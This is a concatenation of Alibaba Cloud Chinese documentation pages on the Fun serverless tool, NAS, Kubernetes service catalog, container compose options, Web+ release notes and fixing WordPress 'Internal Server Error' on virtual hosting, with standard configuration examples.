            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            更多建议

            匿名提交

            感谢您的打分,是否有意见建议想告诉我们?

            感谢您的反馈,反馈我们已经收到

            文档反馈

            ]]>
            功能概览_funcraft_开发工具_函数计算-阿里云 Fri, 02 May 2025 09:39:04 +0800 功能概览

            更新时间:2019-12-24 11:33:18

            本页目录

            (have)Fun with Serverless

            logo.jpg

            English

            Fun 是一个用于支持 Serverless 应用部署的工具,能帮助您便捷地管理函数计算、API 网关、日志服务等资源。它通过一个资源配置文件(template.yml),协助您进行开发、构建、部署操作。

            如果你想使用旧版本的语法,请参考.

            开始使用

            Fun 作为一个命令行工具,内置了多个子命令,比如 config、local、deploy 等。

            其中,config 子命令可以用来配置 fun,local 子命令可以用来本地运行调试函数,deploy 子命令可以将资源发布到线上。

            为了让您尽快上手,我们准备了一系列教程:

            反馈

            如您在使用中遇到问题,可以在这里反馈 https://github.com/aliyun/fun/issues

            参考

            开源许可

            The MIT License

            上一篇:使用限制

            下一篇:安装命令行工具

            相关文档

            以上内容是否对您有帮助?

            在文档使用中是否遇到以下问题

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            更多建议

            匿名提交

            感谢您的打分,是否有意见建议想告诉我们?

            感谢您的反馈,反馈我们已经收到

            文档反馈

            ]]>
            简介_最佳实践_文件存储-阿里云 Fri, 02 May 2025 09:39:04 +0800 简介

            更新时间:2019-09-03 17:44:06

            编辑 我的收藏

            新浪微博 微信 钉钉

            本页目录

            阿里云 NAS 最佳实践主要介绍远程访问、容器存储、Windows 应用程序、AI 训练、Web 应用和内容管理、基因计算、数据备份等相关操作,帮助您更加高效地使用 NAS,满足您的业务需求。

            远程访问

            容器存储

            Windows应用程序

            AI 训练

            Web 应用和内容管理

            基因计算

            EHPC 实现药物筛选解决方案最佳实践

            上一篇:CPFS使用指南

            下一篇:通过Windows IIS服务访问阿里云NAS

            相关文档

            相关产品

            • 文件存储

              阿里云文件存储(Network Attached Storage,简称 NAS)是面向阿里云 ECS 实例、HPC 和 Docker 等计算节点的文件存储服务,提供标准的文件访问协议,您无需对现有应用做任何修改,即可使用具备无限容量及性能扩展、单一命名空间、多共享、高可靠和高可用等特性的分布式文件系统。

            • 对象存储 OSS

              阿里云对象存储服务(Object Storage Service,简称 OSS),是阿里云提供的海量、安全、低成本、高可靠的云存储服务。您可以通过调用 API,在任何应用、任何时间、任何地点上传和下载数据,也可以通过 Web 控制台对数据进行简单的管理。OSS 适合存放任意类型的文件,适合各种网站、开发企业及开发者使用。按实际容量付费真正使您专注于核心业务。

            • 云服务器 ECS

              云服务器(Elastic Compute Service,简称 ECS)是一种简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效率,降低 IT 成本,使您更专注于核心业务创新。

            以上内容是否对您有帮助?

            在文档使用中是否遇到以下问题

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            更多建议

            匿名提交

            感谢您的打分,是否有意见建议想告诉我们?

            感谢您的反馈,反馈我们已经收到

            文档反馈

            ]]>
            概述_服务目录管理_Kubernetes集群用户指南_容器服务Kubernetes版-阿里云 Fri, 02 May 2025 09:39:04 +0800 概述

            更新时间:2019-10-31 16:41:32

            编辑 我的收藏

            新浪微博 微信 钉钉

            本页目录

            服务目录通过 Kubernetes 的 Open Service Broker API 与 Service Broker 进行通信,并作为 Kubernetes API Server 的中介,以便协商首要规定(initial provisioning)并获取应用程序使用托管服务的必要凭据。

            云平台上运行的应用需要使用一些基础服务,如数据库、应用服务器等通用的基础软件。例如一个 wordpress 应用,作为一个 web 应用,后端需要一个数据库服务,如 MariaDB。传统方式是在 wordpress 应用的编排中也创建应用依赖的 MariaDB 服务,并与 Web 应用进行集成。这种云上应用开发的方式,就需要开发者花费精力解决所依赖的基础设施软件的部署和配置,增加应用托管和迁移的成本。

            阿里云容器服务支持并集成了服务目录的功能,该功能旨在接入和管理 Service Broker,使 kubernetes 上运行的应用可以使用 service broker 所代理的托管服务。服务目录功能将支持一系列基础设施软件,应用开发者可以不用关心这些软件的可用性和伸缩能力,也不用对其进行管理,开发者可以简单的将其作为服务使用,只需专注开发核心的应用程序。

            关于服务目录的具体实现原理,请参考 service catalog

            上一篇:开通服务目录

            下一篇:容器水平伸缩(HPA)

            相关文档

            相关产品

            • 容器服务Kubernetes版

              容器服务Kubernetes版(Container Service for Kubernetes)提供高性能可伸缩的容器应用管理服务,支持企业级Kubernetes容器化应用的生命周期管理。

            • 容器服务(已停止服务)

              容器服务(Container Service)提供了高性能可伸缩的容器应用管理服务,支持在一组云服务器上通过 Docker 容器来进行应用生命周期管理。容器服务极大地简化了用户对容器管理集群的搭建工作,无缝整合了阿里云虚拟化、存储、网络和安全能力,打造 Docker 云端最优化的运行环境。容器服务提供了多种应用发布方式和流水线般的持续交付能力,原生支持微服务架构,助力用户无缝上云和跨云管理。

            • 容器镜像服务

              容器镜像服务(Container Registry)提供安全的应用镜像托管能力,精确的镜像安全扫描功能,稳定的国内外镜像构建服务,便捷的镜像授权功能,方便用户进行镜像全生命周期管理。容器镜像服务简化了Registry的搭建运维工作,支持多地域的镜像托管,并联合容器服务等云产品,打造云上使用Docker的一体化体验。

            以上内容是否对您有帮助?

            在文档使用中是否遇到以下问题

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            更多建议

            匿名提交

            感谢您的打分,是否有意见建议想告诉我们?

            感谢您的反馈,反馈我们已经收到

            文档反馈

            ]]>
            dns_options_服务编排_用户指南_容器服务(已停止服务)-阿里云 Fri, 02 May 2025 09:39:04 +0800 dns_options

            更新时间:2019-01-23 00:37:37

            编辑 我的收藏

            新浪微博 微信 钉钉

            本页目录

            设置 DNS 选项,和docker run 命令中的 --dns-opt 参数语义一致。

            wordpress:
              image: wordpress:4.2
              dns_options: 
                - "use-vc"

            上一篇:external

            下一篇:oom_kill_disable

            相关文档

            相关产品

            • 容器服务(已停止服务)

              容器服务(Container Service)提供了高性能可伸缩的容器应用管理服务,支持在一组云服务器上通过 Docker 容器来进行应用生命周期管理。容器服务极大地简化了用户对容器管理集群的搭建工作,无缝整合了阿里云虚拟化、存储、网络和安全能力,打造 Docker 云端最优化的运行环境。容器服务提供了多种应用发布方式和流水线般的持续交付能力,原生支持微服务架构,助力用户无缝上云和跨云管理。

            • 容器服务Kubernetes版

              容器服务Kubernetes版(Container Service for Kubernetes)提供高性能可伸缩的容器应用管理服务,支持企业级Kubernetes容器化应用的生命周期管理。

            • 容器镜像服务

              容器镜像服务(Container Registry)提供安全的应用镜像托管能力,精确的镜像安全扫描功能,稳定的国内外镜像构建服务,便捷的镜像授权功能,方便用户进行镜像全生命周期管理。容器镜像服务简化了Registry的搭建运维工作,支持多地域的镜像托管,并联合容器服务等云产品,打造云上使用Docker的一体化体验。

            以上内容是否对您有帮助?

            在文档使用中是否遇到以下问题

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            更多建议

            匿名提交

            感谢您的打分,是否有意见建议想告诉我们?

            感谢您的反馈,反馈我们已经收到

            文档反馈

            ]]>
            服务部署约束(affinity:service)_服务编排_用户指南_容器服务(已停止服务)-阿里云 Fri, 02 May 2025 09:39:04 +0800 服务部署约束(affinity:service)

            更新时间:2019-01-23 00:37:33

            编辑 我的收藏

            新浪微博 微信 钉钉

            本页目录

            设置服务的部署约束条件。

            容器服务支持 Docker Swarm 兼容的容器部署约束条件,您可以通过 Docker Swarm Filter 控制一个容器的部署。

            但是在社区版 Docker Compose 中,却并没有相关的能力来控制服务直接的部署约束。

            在容器服务中,您可以在 environment 中添加相关 affinity:service,来约束服务之间的亲和度(Affinity),达到控制服务部署策略的功能。支持服务之间的 Soft affinityHard affinity

            示例:

            本示例中,web 服务设置了 affinity:service!=db 的部署约束。使得 web 服务一定会选择没有部署 db 服务的节点,这样当一个节点失效时,可提高服务可用性。当您的集群只有一个节点的时候,由于指定的是 hard anti-affinity,该部署会失败,因为部署没有办法满足所指定的强约束条件。

            web:
              image: registry.aliyuncs.com/acs-sample/wordpress:4.5
              ports:
                - '80'
              environment:
                - affinity:service!=db
              restart: always
              links:
                - 'db:mysql'
              labels:
                aliyun.logs: /var/log
                aliyun.probe.url: http://container/license.txt
                aliyun.probe.initial_delay_seconds: '10'
                aliyun.routing.port_80: http://wordpress
                aliyun.scale: '2'
            db:
              image: registry.aliyuncs.com/acs-sample/mysql:5.7
              environment:
                MYSQL_ROOT_PASSWORD: password
              restart: always
              labels:
                aliyun.logs: /var/log/mysql

            上一篇:global

            下一篇:external

            相关文档

            相关产品

            • 容器服务(已停止服务)

              容器服务(Container Service)提供了高性能可伸缩的容器应用管理服务,支持在一组云服务器上通过 Docker 容器来进行应用生命周期管理。容器服务极大地简化了用户对容器管理集群的搭建工作,无缝整合了阿里云虚拟化、存储、网络和安全能力,打造 Docker 云端最优化的运行环境。容器服务提供了多种应用发布方式和流水线般的持续交付能力,原生支持微服务架构,助力用户无缝上云和跨云管理。

            • 容器服务Kubernetes版

              容器服务Kubernetes版(Container Service for Kubernetes)提供高性能可伸缩的容器应用管理服务,支持企业级Kubernetes容器化应用的生命周期管理。

            • 容器镜像服务

              容器镜像服务(Container Registry)提供安全的应用镜像托管能力,精确的镜像安全扫描功能,稳定的国内外镜像构建服务,便捷的镜像授权功能,方便用户进行镜像全生命周期管理。容器镜像服务简化了Registry的搭建运维工作,支持多地域的镜像托管,并联合容器服务等云产品,打造云上使用Docker的一体化体验。

            以上内容是否对您有帮助?

            在文档使用中是否遇到以下问题

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            更多建议

            匿名提交

            感谢您的打分,是否有意见建议想告诉我们?

            感谢您的反馈,反馈我们已经收到

            文档反馈

            ]]>
            应用参数配置说明_应用管理_用户指南_容器服务(已停止服务)-阿里云 Fri, 02 May 2025 09:39:04 +0800 应用参数配置说明

            更新时间:2019-01-23 01:05:51

            编辑 我的收藏

            新浪微博 微信 钉钉

            本页目录

            本文档旨在帮助您理解通过镜像创建 swarm 应用时界面的参数含义,顺利地进行参数配置,其中对一部分参数,会给出一些文档资源,供您了解更多信息。

            镜像名称

            • 选择镜像列表中已有的镜像,提供全局搜索功能。
            • 直接输入镜像地址,以一个阿里云 wordpress 容器镜像地址为例,如 registry.cn-hangzhou.aliyuncs.com/acs-sample/wordpress:4.6,由域名、命名空间、镜像名称和标签构成一个完整的镜像地址。有关镜像地址的详细信息,参见 镜像基本概念

            镜像版本

            在镜像列表中选择镜像时,可以指定镜像的版本,即镜像的 tag 。如果不指定,默认会使用镜像的最新版本。

            容器数量

            设置容器实例的数量。多个容器实例可有效提高应用的可用性。

            网络模式

            选择默认host

            • 默认: 即 bridge 网络类型。连接到默认的网桥 docker0 ,此模式会为每个容器分配一个独立的网络命名空间,使用该设置可以看到在容器中创建了eth0。
            • host: 允许 container 使用 host 的网络堆栈信息。该方式创建出来的容器,可以看到主机上所有的网络设备,容器中对这些设备有全部的访问权限。

            有关 Docker 容器网络的更多信息,参见 Docker container networking

            restart

            指定容器的重启策略。参见restart

            • 不勾选表示任何情况下都不会尝试重启容器。
            • 勾选表示系统会一直尝试重启容器,直到指定的容器正常运行。

            command

            设置容器启动后默认执行的命令及其参数, 推荐使用 Exec 格式。此命令会在容器启动且 docker run 没有指定其他命令时运行。参见 command

            如果 docker run 指定了其他命令,command 指定的默认命令将被忽略。

            command 有三种格式:

            • Exec 格式:CMD ["executable","param1","param2"],这是 command 的推荐格式。
            • CMD ["param1","param2"],与 Exec 格式的 Entrypoint 指令配合使用,为它提供额外的参数。
            • Shell 格式:CMD command param1 param2

            Entrypoint

            也是容器启动的执行命令,Entrypoint 指令可让容器以应用程序或者服务的形式运行。

            Entrypoint 看上去与 CMD 很像,它们都可以指定要执行的命令及其参数。不同的地方在于 Entrypoint 不会被忽略,一定会被执行,即使运行 docker run 时指定了其他命令。

            Entrypoint 有两种格式:

            • Exec 格式:ENTRYPOINT ["executable", "param1", "param2"],这是 Entrypoint 的推荐格式。
            • Shell 格式:ENTRYPOINT command param1 param2

            CPU 和 内存限制

            CPU 以 100 代表 1 核,内存的单位为 MB,可以为单个容器设置 CPU 和 内存的资源上限,方便您进行资源规划。对应的 compose 标签是 mem_limitcpu_shares。具体请参见限制容器资源

            Capabilities

            默认情况下,Docker 容器中 root 的权限是有严格限制的。借助 Linux kernel capabilities,可以为容器赋予相关权限,关于可为容器赋权的参数,参见 Runtime privilege and Linux capabilities

            相关参数命令如下:

            • ADD 输入框:对应 –cap-add: Add Linux capabilities 参数,在此框中输入容器可以添加的 Capability Key,表示为容器增加这一权限。
            • DROP 输入框:对应 –cap-drop: Drop Linux capabilities 参数,在此框中输入容器默认已有的 Capability key,表示为容器删除这一权限。

            容器启动项

            勾选 stdin 表示为该容器开启标准输入;勾选 tty 表示为该容器分配一个虚拟终端,以便于向容器发送信号。通常这两个选项是一起使用的,表示将终端 (tty) 绑定到容器的标准输入(stdin)上,比如一个交互式的程序从用户获取标准输入,并显示到终端中。

            端口映射

            为主机和容器指定端口映射,以及网络协议(TCP/UDP)。用于容器和主机间路由,实现从外部访问容器。

            端口映射是简单路由配置和负载均衡路由配置的前置条件,容器通过设置好的端口映射,对外提供服务。

            简单路由配置

            容器服务集群创建成功后,会自动创建 acsrouting 应用,包含了路由服务,即 routing,提供了简单路由的功能,每个节点都会部署该服务的一个实例。某个节点内,由 acsrouting_routing_index 容器实现集群内的路由转发,用来路由 HTTP 服务或者 HTTPS 服务。请参见简单路由(支持 HTTP/HTTPS)

            Note 暴露 HTTP/HTTPS 服务时,您可以不配置具体的主机端口,可以使用 overlay 网络或者 VPC 网络来直接访问容器的端口。

            负载均衡路由

            配置该项参数时,由您自主控制路由的访问路径,包括SLB 前端端口 > 后端主机端口 > 容器端口这一整条路由映射。

            预先设置好端口映射,然后再配置 container_port$scheme://$[slb_name|slb_id]:$slb_front_port 的映射。关于负载均衡标签的具体用法,请参见lb

            数据卷

            推荐使用数据卷来存储容器产生的持久化数据,更加安全,更容易管理、备份、迁移。参见 Use volumes

            • 选择新建一个数据卷。输入主机路径或者数据卷名,输入容器路径,设置数据卷权限 RW 或 RO。
            • 或选择 volumes_from。填写其他服务或容器的名称和权限参数,如 service_name:ro,如果不指定访问权限,默认是 rw 权限。参见 volume compose 。设置后,可成功授权该容器使用其他服务或容器的数据卷。

            环境变量

            环境变量支持键值对的输入形式,支持 array、 dictionary 和 boolean 等格式,具体参见 environment-variables

            您可以为 Docker 容器设置相关的环境变量,环境变量可以作为标志,代表部署环境的一些参数。可以用来传递配置,构建自动化部署脚本等。

            labels

            标签是将元数据应用到 Docker 对象的一种机制。可以使用标签来构建镜像,记录 license 信息,描述容器、数据卷和网络之间的关系等。可以实现非常强大的功能。

            标签支持键值对的输入形式,以字符串形式存储。您可以为容器指定多个标签。支持 Docker 原生的 Docker labels标签概览

            平滑升级

            选择是否允许开启。开启相当于添加 rolling_update=true 标签, 需配合 probe 标签使用,可保证容器成功更新,参见proberolling_updates

            可用区调度

            勾选跨可用区或者尽量跨可用区

            您可以选择跨可用区将容器部署在两个不同的可用区;如果您选择了此选项,但是当前集群没有两个可用区或机器资源不够导致无法分布在两个可用区,容器创建会失败。

            您也可以选择尽量跨可用区,容器服务会尽可能地将容器部署在两个不同的可用区中;无法满足时依然可以成功创建。

            如果您不进行此项设置,容器服务会默认将容器部署在同一个可用区。有关可用区调度的详细信息,参见高可用性调度

            自动伸缩

            为了满足应用在不同负载下的需求,容器服务支持服务的弹性伸缩,即根据服务的容器资源占用情况自动调整容器数量。

            有关容器自动伸缩的详细信息,参见容器自动伸缩

            上一篇:创建应用

            下一篇:限制容器资源

            相关文档

            相关产品

            • 容器服务(已停止服务)

              容器服务(Container Service)提供了高性能可伸缩的容器应用管理服务,支持在一组云服务器上通过 Docker 容器来进行应用生命周期管理。容器服务极大地简化了用户对容器管理集群的搭建工作,无缝整合了阿里云虚拟化、存储、网络和安全能力,打造 Docker 云端最优化的运行环境。容器服务提供了多种应用发布方式和流水线般的持续交付能力,原生支持微服务架构,助力用户无缝上云和跨云管理。

            • 容器服务Kubernetes版

              容器服务Kubernetes版(Container Service for Kubernetes)提供高性能可伸缩的容器应用管理服务,支持企业级Kubernetes容器化应用的生命周期管理。

            • 容器镜像服务

              容器镜像服务(Container Registry)提供安全的应用镜像托管能力,精确的镜像安全扫描功能,稳定的国内外镜像构建服务,便捷的镜像授权功能,方便用户进行镜像全生命周期管理。容器镜像服务简化了Registry的搭建运维工作,支持多地域的镜像托管,并联合容器服务等云产品,打造云上使用Docker的一体化体验。

            以上内容是否对您有帮助?

            在文档使用中是否遇到以下问题

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            更多建议

            匿名提交

            感谢您的打分,是否有意见建议想告诉我们?

            感谢您的反馈,反馈我们已经收到

            文档反馈

            ]]>
            版本说明_Web应用托管服务-阿里云 Fri, 02 May 2025 09:39:04 +0800 版本说明

            更新时间:2020-02-07 15:30:17

            编辑 我的收藏

            新浪微博 微信 钉钉

            本页目录

            下表介绍了Web+自2019年6月14日公测上线以来的迭代版本的重要功能说明以及相关文档链接。

            2020-02-06

            功能名称 功能描述 功能类型 相关文档
            一键部署WordPress应用 可以在控制台上一键部署WordPress应用程序,默认使用单机部署的MySQL数据库,降低启动成本。 新增 一键启动WordPress
            支持编排Redis资源 可以在控制台界面上直接添加和配置Redis资源。 新增 云数据库Redis
            开放Nginx配置文件的编辑功能 在控制台概览页右侧可以查看各开发语言的快速入门交互式教程。 新增 反向代理服务器
            免费的OSS存储空间 在创建应用的时候可以选择使用由系统提供的免费OSS存储空间。 优化 /

            2019-12-05

            功能名称 功能描述 功能类型 相关文档
            支持域名托管 支持托管阿里云云解析和任何第三方域名服务提供商处注册的域名。 新增 域名托管
            支持分批部署 当部署环境有多台实例的时候,支持按照指定规则进行分批部署,以保证业务不中断。 新增 部署环境
            各开发语言的交互式教程 在控制台概览页右侧可以查看各开发语言的快速入门交互式教程。 新增 /
            开通向导优化 支持一键开通及授权相关产品。 优化 开通Web+相关服务并授权
            部署环境配置界面优化 以架构图的方式展现环境配置信息,并可以进行编辑操作。 优化 /
            支持禁用健康检查 部署环境默认禁用健康检查,您可以在环境配置界面选择手动开启。 优化 配置健康检查

            2019-09-29

            功能名称 功能描述 功能类型 相关文档
            代购ECS实例 支持使用控制台和CLI代购包年包月的ECS实例。 新增 ECS实例
            代购SLB实例 支持使用CLI代购包年包月SLB实例。 新增 使用CLI配置SLB
            代购RDS实例 支持使用CLI代购包年包月RDS实例。 新增 使用CLI配置RDS
            支持HTTPS访问 可以在SLB和反向代理层配置证书实现HTTPS访问。 新增 为部署环境配置HTTPS

            2019-09-25

            功能名称 功能描述 功能类型 相关文档
            正式商用 正式商用后Web+仍然免费,您只需要对用到的底层资源付费。 新增 /

            2019-09-04

            功能名称 功能描述 功能类型 相关文档
            支持导入已购买的ECS实例 您在ECS控制台购买的ECS实例,可在Web+导入使用。 新增 导入ECS实例
            支持.NET Core应用 支持在Web+控制台托管.NET Core应用。 新增
            支持Ruby应用 支持在Web+控制台托管Ruby应用。 新增
            显示部署环境资源 在部署环境概览页,可以展示部署环境内包含的资源。 新增 部署环境信息说明

            2019-08-12

            功能名称 功能描述 功能类型 相关文档
            支持Python应用 支持在Web+控制台托管Python应用。 新增
            反向代理优化 支持关闭反向代理服务器。 新增 反向代理服务器

            2019-08-06

            功能名称 功能描述 功能类型 相关文档
            支持Go应用 支持在Web+控制台托管Go应用。 新增
            支持PHP应用 支持在Web+控制台托管PHP应用。 新增
            支持导入SLB实例 您在SLB控制台购买的SLB实例,可导入Web+使用。 新增 导入负载均衡SLB
            应用生命周期挂钩脚本 Web+提供了通过设置命令来管理用户的服务进程,以及通过设置生命周期挂钩来简化部署、监控、运维和治理等应用生命周期管理操作。 新增 命令与生命周期挂钩
            增加技术栈版本 在部分技术栈内,有多个技术栈版本可选择。 新增 技术栈

            2019-07-25

            功能名称 功能描述 功能类型 相关文档
            功能优化 产品功能性能优化,使Web+的使用体验更良好。 优化 /

            2019-07-15

            功能名称 功能描述 功能类型 相关文档
            支持Node.js应用 支持在Web+托管Node.js语言的应用。 新增
            支持RDS 支持在控制台和CLI内为部署环境配置RDS。 新增 云数据库RDS
            变更操作清单 在部署环境中变更配置时,会罗列出变更资源的清单。 新增 /

            2019-06-14

            功能名称 功能描述 功能类型 相关文档
            产品正式公测 Web+正式在阿里云公测上线,免费开放给用户托管应用。 新增 什么是Web应用托管服务Web+?
            支持Java技术栈应用 支持在控制台和CLI内将Java技术栈的应用托管至Web+。 新增
            支持Tomcat技术栈应用 支持在控制台和CLI内将Tomcat技术栈的应用托管至Web+。 新增
            日志和诊断 支持下载日志和诊断信息排查问题。 新增 查看日志
            支持控制台部署 可以在控制台快速创建应用并部署。 新增 在Web+控制台快速部署应用
            支持CLI部署 可以使用CLI快速创建应用并部署。 新增 使用CLI快速部署Java应用

            下一篇:什么是Web应用托管服务Web+?

            相关文档

            相关产品

            • Web应用托管服务

              Web应用托管服务(Web App Service,简称Web+)是一个用来构建和部署应用的全托管式平台,您可以在Web+上部署Web类、移动类和API类应用。您可以使用Java语言编写并构建应用程序,在无需管理底层基础设施的情况下,即可简单、高效、安全和灵活地对应用进行部署、扩缩、变更配置和监控。

            • Serverless 应用引擎

              Serverless 应用引擎(Serverless App Engine,简称 SAE) 让您无需管理和维护集群与服务器,即可快速创建应用。使用 SAE,您可以专注于设计和构建应用程序,而不用管理运行应用程序的基础设施。您只需为部署在 SAE 上的应用所实际使用的 CPU 和内存资源量进行按需付费,不用为闲置的资源付费。

            • 云服务器 ECS

              云服务器(Elastic Compute Service,简称 ECS)是一种简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效率,降低 IT 成本,使您更专注于核心业务创新。

            以上内容是否对您有帮助?

            在文档使用中是否遇到以下问题

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            更多建议

            匿名提交

            感谢您的打分,是否有意见建议想告诉我们?

            感谢您的反馈,反馈我们已经收到

            文档反馈

            ]]>
            结果验证_使用金融云产品(经典网络)_金融云-阿里云 Fri, 02 May 2025 09:39:04 +0800 结果验证

            更新时间:2019-01-22 23:52:52

            本页目录

            完成上述金融云环境搭建后,您可在进行以下操作验证环境搭建结果:

            1. 登录ECS:请参考SSH协议运维RDP协议运维章节,通过堡垒机远程登录ECS。
            2. 部署应用:在此环境中搭建一个WordPress网站,验证金融云环境搭建结果。

              WordPress网站搭建请参考搭建WordPress网站一文。

            上一篇:配置OSS

            下一篇:经典网络专线接入

            相关文档

            以上内容是否对您有帮助?

            在文档使用中是否遇到以下问题

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            更多建议

            匿名提交

            感谢您的打分,是否有意见建议想告诉我们?

            感谢您的反馈,反馈我们已经收到

            文档反馈

            ]]>
            访问云虚拟主机上的网站提示“Internal Server Error”报错_网站访问异常_常见问题_云虚拟主机-阿里云 Fri, 02 May 2025 09:39:04 +0800 访问云虚拟主机上的网站提示“Internal Server Error”报错

            更新时间:2020-03-13 14:46:26

            本页目录

            免责声明: 本文档可能包含第三方产品信息,该信息仅供参考。阿里云对第三方产品的性能、可靠性以及操作可能带来的潜在影响,不做任何暗示或其他形式的承诺。

             

            问题描述

            访问云虚拟主机上的网站提示“Internal Server Error”报错,报错如下。

             

            问题原因

            出现“Internal Server Error”报错的原因如下。

            • .htaccess文件写入错误的代码。
            • 文件权限设置错误。
            • PHP文件配置错误。
            • PHP版本过低。
            • 服务器资源超载。

             

            解决方案

            阿里云提醒您:

            • 如果您对实例或数据有修改、变更等风险操作,务必注意实例的容灾、容错能力,确保数据安全。
            • 如果您对实例(包括但不限于ECS、RDS)等进行配置与数据修改,建议提前创建快照或开启RDS日志备份等功能。
            • 如果您在阿里云平台授权或者提交过登录账号、密码等安全信息,建议您及时修改。

            以下是在不同场景中的解决方案。

             

            .htaccess文件写入错误的代码

            在.htaccess文件中,由于添加了一些与源文件冲突的代码,导致出现报错。建议将服务器中.htaccess文件进行备份后,删除.htaccess文件后进行测试。

            注:.htaccess文件以“.”开头,在Linux系统中是隐藏文件,可以通过FTP工具设置显示隐藏文件进行查看。.htaccess文件是Apache服务器的一个配置文件,它负责相关目录下的网页配置。通过.htaccess文件,可以完成网页301重定向、自定义404错误页面、改变文件扩展名、允许或阻止特定用户、目录的访问、禁止目录列表、配置默认文档等功能。

             

            文件权限设置错误

            后台目录和文件权限默认为755,而图片、文字等HTML文件的权限应该为644。上传的文件出现500报错后,建议检查文件权限,可以通过FTP工具修改相关权限。

             

            PHP文件配置错误

            安装WordPress后出现“Internal Server Error”500报错,请参考如下步骤解决问题。

            1. ./wp-includes/class-http.php文件进行备份。
            2. ./wp-includes/class-http.php文件的第291行修改成如下内容。
              $request_order = apply_filters('http_api_transports',array('streams'),$args,$url);
            3. 如果WordPress的程序不是第291行,则手动搜索如下内容。
              $request_order = apply_filters('http_api_transports', array('curl','streams'),$args,$url);
              将该内容修改成如下内容。
              $request_order = apply_filters('http_api_transports',array('streams'),$args,$url);
            4. 将更新好的./wp-includes/class-http.php文件同步到wp-includes文件夹中。

             

            PHP版本过低

            虚拟主机安装WordPress时,在连接数据库配置后提示 “500 Internal Server Error ”,此问题是由于PHP版本过低导致,需要登录cp.hichina.com控制面板,点击页面左侧 高级环境配置 > PHP版本设置,切换PHP版本,将PHP版本切换到5.3以上版本即可。

             

            服务器资源超载

            服务器资源超载,即同一时间内处理器有较多进程需要处理,关于如何处理CPU使用率较高的问题,请参考如下文档。

             

            适用于

            • 云虚拟主机

             

            如果您的问题仍未解决,您可以在阿里云社区免费咨询,或提交工单联系阿里云技术支持。

            上一篇:常见第三方开源程序数据库配置文件路径

            下一篇:大流量处理方法

            相关文档

            相关产品

            • 云虚拟主机

              阿里云虚拟主机主要用于搭建网站,提供预装网站运行环境,赠送正版数据库,可通过图形化控制面板管理,包括独享系列虚机和共享系列虚机。独享系列适合企业建站客户,提供独享的服务器资源,无资源争抢更稳定,不限流量更快速、独立IP更易推广;共享系列适合于开发者、个人站长建站,多客户共享服务器硬件资源,价格优惠,简单易用

            • 云解析 DNS

              云解析DNS(Alibaba Cloud DNS)是一种安全、快速、稳定、可扩展的权威DNS服务,云解析DNS为企业和开发者将易于管理识别的域名转换为计算机用于互连通信的数字IP地址,从而将用户的访问路由到相应的网站或应用服务器。

            • 云服务器 ECS

              云服务器(Elastic Compute Service,简称 ECS)是一种简单高效、处理能力可弹性伸缩的计算服务,帮助您快速构建更稳定、安全的应用,提升运维效率,降低 IT 成本,使您更专注于核心业务创新。

            以上内容是否对您有帮助?

            在文档使用中是否遇到以下问题

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            • 内容错误

            • 更新不及时

            • 链接错误

            • 缺少代码/图片示例

            • 太简单/步骤待完善

            • 其他

            更多建议

            匿名提交

            感谢您的打分,是否有意见建议想告诉我们?

            感谢您的反馈,反馈我们已经收到

            文档反馈

            ]]>
            日志_服务编排_用户指南_容器服务(已停止服务)-阿里云 Fri, 02 May 2025 09:39:04 +0800 日志

            更新时间:2019-01-23 00:37:29

            编辑 我的收藏

            新浪微博 微信 钉钉

            本页目录

            和阿里云日志服务集成,采集容器日志并且发送到阿里云日志服务。

            示例

            mysql:
                image: mysql
                ports:
                    - 80
                labels:
                    aliyun.scale: "1"
                environment:
                    - MYSQL_ROOT_PASSWORD=password
            wordpress:
                image: registry.aliyuncs.com/jiangjizhong/wordpress
                ports:
                    - 80
                labels:
                    aliyun.routing.port_80: wordpress-with-log
                    aliyun.log_store_dbstdout: stdout   #注意这里
                links:
                    - mysql

            更多详细信息,参见集成日志服务

            上一篇:lb

            下一篇:global

            相关文档

            相关产品

            • 容器服务(已停止服务)

              容器服务(Container Service)提供了高性能可伸缩的容器应用管理服务,支持在一组云服务器上通过 Docker 容器来进行应用生命周期管理。容器服务极大地简化了用户对容器管理集群的搭建工作,无缝整合了阿里云虚拟化、存储、网络和安全能力,打造 Docker 云端最优化的运行环境。容器服务提供了多种应用发布方式和流水线般的持续交付能力,原生支持微服务架构,助力用户无缝上云和跨云管理。

            • 容器服务Kubernetes版

